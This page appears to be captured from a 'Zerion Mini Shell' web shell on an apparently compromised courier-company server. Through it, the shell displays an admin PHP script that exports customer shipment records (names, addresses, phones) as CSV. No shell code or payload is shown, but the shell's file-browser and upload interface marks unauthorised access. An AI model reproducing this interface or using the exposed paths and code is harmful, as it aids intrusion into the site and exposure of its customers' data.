ok

Mini Shell

Direktori : /home2/selectio/www/lilyexpresslive/software/admin/excel/
Upload File :
Current File : /home2/selectio/www/lilyexpresslive/software/admin/excel/excel-bulk-modicare-track.php

<?php
include("../inc/config.php");

$track_id=$_POST['t_ids'];
$type=$_POST['types'];

// $type=preg_replace('/\s+/', '', $type);
    // echo "<script>alert('5');</script>";
// $list_track_ids=preg_replace('/\s+/', '', $track_id);
$list_track_ids=preg_split('/\r\n|[\r\n]/', $track_id);
// SL	AWB Number	Customer Name	Address	Phone	DP CODE	Booking Date	Status	Location	Last Updated	Description	Charged Weight	No.Of Pics	DELIVERY DATE	REMARK

	$now = gmdate("YmdHis");
		header('Content-Type: text/csv; charset=utf-8');  
		header('Content-Disposition: attachment; filename=Bulk_Track'.$now.'.csv');  
		$output = fopen("php://output", "w");  
		fputcsv($output, array('SL', 'AWB Number', 'Customer Name', 'Address', 'Phone','Dp Code', 'Booking Date', 'Status','Location', 'Last Updated', 'Charged Weight', 'No.Of Pics', 'Delivery Date','Remark'));  
        $i=1;
        foreach($list_track_ids as $track_id){
           
							if($type=="awb")
							{
							    $statement = $pdo->prepare("SELECT pickup_entry.*,tbl_customer.cust_name as cname ,tbl_customer.cust_code as dp_code FROM `pickup_entry` INNER join tbl_customer INNER JOIN tbl_user on  pickup_entry.ref_no=? and tbl_customer.cust_id=pickup_entry.customer_id and pickup_entry.client_id=tbl_user.id and tbl_user.role='Modicare'");
							}
							else
							{
							      $statement = $pdo->prepare("SELECT pickup_entry.*,tbl_customer.cust_name as cname ,tbl_customer.cust_code as dp_code FROM `pickup_entry` INNER join tbl_customer on  pickup_entry.awb_no=? and tbl_customer.cust_id=pickup_entry.customer_id");
							}
							
							
							$statement->execute(array($track_id));
							$total_id = $statement->rowCount();
							$result = $statement->fetchAll(PDO::FETCH_ASSOC);
							if(!$result)
							{
							 continue;
							}
	                    	foreach ($result as $row) {
                            $mani_fest=$row['manifest_id'];
                            $pick_id=$row['id'];
                            
			                $statement1 = $pdo->prepare("SELECT * FROM tbl_tracking where pickup_entry_id=? ORDER BY t_id DESC LIMIT 1");
							$statement1->execute(array($pick_id));
							$result1 = $statement1->fetchAll(PDO::FETCH_ASSOC); 
							foreach ($result1 as $row1) {
                            {
                			fputcsv($output, array($i,$row['ref_no'],$row['cname'],$row['address'],$row['phone'],$row['dp_code'],$row['created_at'],ucwords($row1['status']),$row1['location'],$row1['created_at'],$row['c_weight'],$row['pics'],$row1['delivery_date'],$row1['remark']));
                		    $i++;
                            }
		}
		}
		} 
		fclose($output);




?>

Zerion Mini Shell 1.0